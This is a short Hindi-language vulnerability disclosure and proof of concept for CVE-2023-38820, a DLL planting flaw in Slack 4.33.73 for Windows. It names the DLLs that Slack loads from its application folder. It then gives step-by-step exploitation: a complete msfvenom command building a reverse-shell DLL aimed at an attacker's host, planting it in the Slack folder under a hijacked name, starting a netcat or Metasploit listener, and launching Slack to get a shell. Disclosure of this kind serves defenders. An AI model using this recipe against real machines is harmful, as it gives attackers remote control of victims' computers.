DLL-Planting-Slack-4.33.73-CVE-2023-38820

Slack 4.33.73 में DLL रोपण - CVE-2023-38820 खोजकर्ता: Idan Malihi

विवरण

Slack Slack v.4.33.73 में एक समस्या एक स्थानीय हमलावर को profapi.dll, CRYPTBASE.dll, KBDUS.DLL, DPAPI.dll, MSASN1.dll, mf.dll, mfplat.dll, और RTWorkQ.DLL फ़ाइलों में DLL लोडिंग तंत्र के माध्यम से मनमाना कोड निष्पादित करने की अनुमति देती है।

पुनरुत्पादन के चरण

कमजोरी का शोषण करने के लिए, एक हमलावर को Slack प्रोग्राम डाउनलोड और इंस्टॉल करना चाहिए, और इन चरणों का पालन करना चाहिए:

1. msfvenom के साथ एक दुर्भावनापूर्ण dll फ़ाइल बनाएं: msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -o profapi.dll
2. दुर्भावनापूर्ण dll फ़ाइल को पीड़ित के कंप्यूटर पर स्थानांतरित करें
3. Slack पथ खोलें: "C:\Users\idan.m\AppData\Local\slack\app-4.33.73"
4. दुर्भावनापूर्ण dll को Slack पथ पर स्थानांतरित करें और उदाहरण के लिए इसे "KBDUS.DLL" नाम दें।
5. netcat या metasploit लिसनर खोलें
6. Slack.exe खोलें
7. एक रिवर्स शेल प्राप्त करें।